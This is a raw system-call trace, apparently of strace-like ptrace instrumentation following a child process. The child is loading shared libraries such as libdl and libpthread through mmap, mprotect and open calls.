write(2, "mmap(NULL, 3680296, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff742b000]) = 0
write(2, ") = 0x7ffff742b000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff75a5000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff75a5000, 2093056"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77a4000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x5000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x179000]) = 0
write(2, "mmap(0x7ffff77a4000, 20480, PROT"..., 98) = 98
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff77a4000]) = 0
write(2, ") = 0x7ffff77a4000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77a9000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x4828]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x32]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(0x7ffff77a9000, 18472, PROT"..., 92) = 92
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff77a9000]) = 0
write(2, ") = 0x7ffff77a9000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff3e10]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff3e10, [0x62696c2f62696c2f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff3e18, [0x322e6f732e6c64]) = 0
write(2, "open(\"/lib/libdl.so.2\", O_RDONLY", 32) = 32
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 12) = 12
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd988]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0xde0]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 82) = 82
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd820]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd820, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd828, [0x20b51]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd830, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd838, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd840, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd848, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd850, [0x3968]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd858, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd860, [0x20]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd868, [0x4d81aa69]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd870, [0x360db0b2]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd878, [0x4d39feaf]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd880, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd888, [0x4d8055e9]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd890, [0xecc2d69]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd898, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd8a0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd8a8, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 48) = 48
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x203100]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2109696, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7227000]) = 0
write(2, ") = 0x7ffff7227000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7229000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x200000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff7229000, 2097152"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7429000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x2000]) = 0
write(2, "mmap(0x7ffff7429000, 8192, PROT_"..., 95) = 95
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7429000]) = 0
write(2, ") = 0x7ffff7429000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fed2dd]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2d8, [0x696c2f00302e6f73]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2e0, [0x68747062696c2f62]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2e8, [0x2e6f732e64616572]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2f0, [0x68747062696c0030]) = 0
write(2, "open(\"/lib/libpthread.so.0\", O_R"..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
